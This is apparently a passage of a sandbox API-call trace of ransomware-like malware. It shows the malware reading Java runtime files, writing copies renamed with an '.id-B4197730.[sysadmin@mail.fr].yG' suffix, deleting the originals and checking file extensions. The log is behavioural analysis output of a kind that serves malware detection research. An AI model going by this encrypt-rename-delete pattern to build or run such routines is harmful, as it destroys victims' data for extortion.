	[0141.288] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.290] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=6349) returned 1
	[0141.290] CloseHandle (hObject=0x4a0) returned 1
	[0141.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20
	[0141.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.291] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.291] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.291] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.292] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0141.292] GetLastError () returned 0x0
	[0141.292] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x18cd, lpOverlapped=0x0) returned 1
	[0141.308] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x18d0, lpOverlapped=0x0) returned 1
	[0141.309] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.309] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0141.309] SetEndOfFile (hFile=0x48c) returned 1
	[0141.309] CloseHandle (hObject=0x48c) returned 1
	[0141.310] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.310] SetEndOfFile (hFile=0x4a0) returned 1
	[0141.313] CloseHandle (hObject=0x4a0) returned 1
	[0141.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.313] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1
	[0141.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.314] lstrlenW (lpString=".doc") returned 4
	[0141.314] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString=".docx") returned 5
	[0141.314] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.314] lstrlenW (lpString=".pdf") returned 4
	[0141.314] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString=".xls") returned 4
	[0141.314] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString=".xlsx") returned 5
	[0141.314] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.314] lstrlenW (lpString=".ppt") returned 4
	[0141.314] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.314] lstrlenW (lpString=".zip") returned 4
	[0141.314] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString=".rar") returned 4
	[0141.314] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString=".bz2") returned 4
	[0141.314] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString=".7z") returned 3
	[0141.314] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.314] lstrlenW (lpString=".dbf") returned 4
	[0141.314] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.314] lstrlenW (lpString=".1cd") returned 4
	[0141.314] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.315] lstrlenW (lpString=".jpg") returned 4
	[0141.315] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.315] lstrlenW (lpString=".doc") returned 4
	[0141.315] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString=".docx") returned 5
	[0141.315] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.315] lstrlenW (lpString=".pdf") returned 4
	[0141.315] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString=".xls") returned 4
	[0141.315] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString=".xlsx") returned 5
	[0141.315] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.315] lstrlenW (lpString=".ppt") returned 4
	[0141.315] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.315] lstrlenW (lpString=".zip") returned 4
	[0141.315] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString=".rar") returned 4
	[0141.315] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString=".bz2") returned 4
	[0141.315] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString=".7z") returned 3
	[0141.315] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.315] lstrlenW (lpString=".dbf") returned 4
	[0141.315] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.315] lstrlenW (lpString=".1cd") returned 4
	[0141.315] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0141.316] lstrlenW (lpString=".jpg") returned 4
	[0141.316] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.316] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.316] lstrlenW (lpString="messages_ko.properties") returned 22
	[0141.316] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.316] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=5712) returned 1
	[0141.316] CloseHandle (hObject=0x4a0) returned 1
	[0141.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20
	[0141.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.317] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.317] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0141.509] GetLastError () returned 0x0
	[0141.509] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x1650, lpOverlapped=0x0) returned 1
	[0141.525] WriteFile (in: hFile=0x4b4, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1660, lpOverlapped=0x0) returned 1
	[0141.526] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.526] WriteFile (in: hFile=0x4b4, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0141.526] SetEndOfFile (hFile=0x4b4) returned 1
	[0141.526] CloseHandle (hObject=0x4b4) returned 1
	[0141.526] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.527] SetEndOfFile (hFile=0x4a0) returned 1
	[0141.530] CloseHandle (hObject=0x4a0) returned 1
	[0141.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.531] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1
	[0141.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.532] lstrlenW (lpString=".doc") returned 4
	[0141.532] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.532] lstrlenW (lpString=".docx") returned 5
	[0141.532] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.532] lstrlenW (lpString=".pdf") returned 4
	[0141.532] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.532] lstrlenW (lpString=".xls") returned 4
	[0141.532] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.532] lstrlenW (lpString=".xlsx") returned 5
	[0141.532] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.532] lstrlenW (lpString=".ppt") returned 4
	[0141.532] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.532] lstrlenW (lpString=".zip") returned 4
	[0141.533] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.533] lstrlenW (lpString=".rar") returned 4
	[0141.533] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.533] lstrlenW (lpString=".bz2") returned 4
	[0141.533] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.533] lstrlenW (lpString=".7z") returned 3
	[0141.533] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.533] lstrlenW (lpString=".dbf") returned 4
	[0141.533] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.533] lstrlenW (lpString=".1cd") returned 4
	[0141.533] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.533] lstrlenW (lpString=".jpg") returned 4
	[0141.533] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.534] lstrlenW (lpString=".doc") returned 4
	[0141.534] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.534] lstrlenW (lpString=".docx") returned 5
	[0141.534] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.534] lstrlenW (lpString=".pdf") returned 4
	[0141.534] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.534] lstrlenW (lpString=".xls") returned 4
	[0141.534] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.534] lstrlenW (lpString=".xlsx") returned 5
	[0141.534] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.534] lstrlenW (lpString=".ppt") returned 4
	[0141.534] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.534] lstrlenW (lpString=".zip") returned 4
	[0141.534] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.534] lstrlenW (lpString=".rar") returned 4
	[0141.534] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.534] lstrlenW (lpString=".bz2") returned 4
	[0141.535] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.535] lstrlenW (lpString=".7z") returned 3
	[0141.535] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.535] lstrlenW (lpString=".dbf") returned 4
	[0141.535] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.535] lstrlenW (lpString=".1cd") returned 4
	[0141.535] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0141.535] lstrlenW (lpString=".jpg") returned 4
	[0141.535] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.535] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.535] lstrlenW (lpString="messages_zh_TW.properties") returned 25
	[0141.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.538] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=3752) returned 1
	[0141.538] CloseHandle (hObject=0x4a0) returned 1
	[0141.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20
	[0141.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.539] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.539] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.539] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.539] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0141.540] GetLastError () returned 0x0
	[0141.540] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xea8, lpOverlapped=0x0) returned 1
	[0141.551] WriteFile (in: hFile=0x4b4, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0141.553] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.553] WriteFile (in: hFile=0x4b4, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x106, lpOverlapped=0x0) returned 1
	[0141.554] SetEndOfFile (hFile=0x4b4) returned 1
	[0141.554] CloseHandle (hObject=0x4b4) returned 1
	[0141.554] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.554] SetEndOfFile (hFile=0x4a0) returned 1
	[0141.558] CloseHandle (hObject=0x4a0) returned 1
	[0141.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.558] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1
	[0141.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.559] lstrlenW (lpString=".doc") returned 4
	[0141.559] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.559] lstrlenW (lpString=".docx") returned 5
	[0141.560] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.560] lstrlenW (lpString=".pdf") returned 4
	[0141.560] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.560] lstrlenW (lpString=".xls") returned 4
	[0141.560] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.560] lstrlenW (lpString=".xlsx") returned 5
	[0141.560] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.560] lstrlenW (lpString=".ppt") returned 4
	[0141.560] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.560] lstrlenW (lpString=".zip") returned 4
	[0141.560] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.560] lstrlenW (lpString=".rar") returned 4
	[0141.561] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.561] lstrlenW (lpString=".bz2") returned 4
	[0141.561] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.561] lstrlenW (lpString=".7z") returned 3
	[0141.561] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.561] lstrlenW (lpString=".dbf") returned 4
	[0141.561] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.561] lstrlenW (lpString=".1cd") returned 4
	[0141.561] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.561] lstrlenW (lpString=".jpg") returned 4
	[0141.562] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.562] lstrlenW (lpString=".doc") returned 4
	[0141.562] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.562] lstrlenW (lpString=".docx") returned 5
	[0141.562] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.562] lstrlenW (lpString=".pdf") returned 4
	[0141.562] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.562] lstrlenW (lpString=".xls") returned 4
	[0141.562] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.562] lstrlenW (lpString=".xlsx") returned 5
	[0141.563] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.563] lstrlenW (lpString=".ppt") returned 4
	[0141.563] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.563] lstrlenW (lpString=".zip") returned 4
	[0141.563] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.563] lstrlenW (lpString=".rar") returned 4
	[0141.563] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.563] lstrlenW (lpString=".bz2") returned 4
	[0141.563] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.563] lstrlenW (lpString=".7z") returned 3
	[0141.563] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.563] lstrlenW (lpString=".dbf") returned 4
	[0141.564] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.564] lstrlenW (lpString=".1cd") returned 4
	[0141.564] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0141.564] lstrlenW (lpString=".jpg") returned 4
	[0141.564] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.564] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.564] lstrlenW (lpString="deploy.jar") returned 10
	[0141.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
